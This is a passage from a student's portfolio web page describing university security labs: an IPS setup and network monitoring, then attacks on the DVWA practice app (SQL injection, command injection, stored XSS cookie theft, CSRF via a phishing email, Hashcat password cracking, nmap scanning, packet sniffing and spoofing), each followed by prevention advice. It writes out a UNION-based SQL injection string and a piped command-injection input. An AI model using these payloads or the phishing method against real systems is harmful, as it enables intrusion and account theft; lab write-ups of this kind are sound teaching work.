from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a 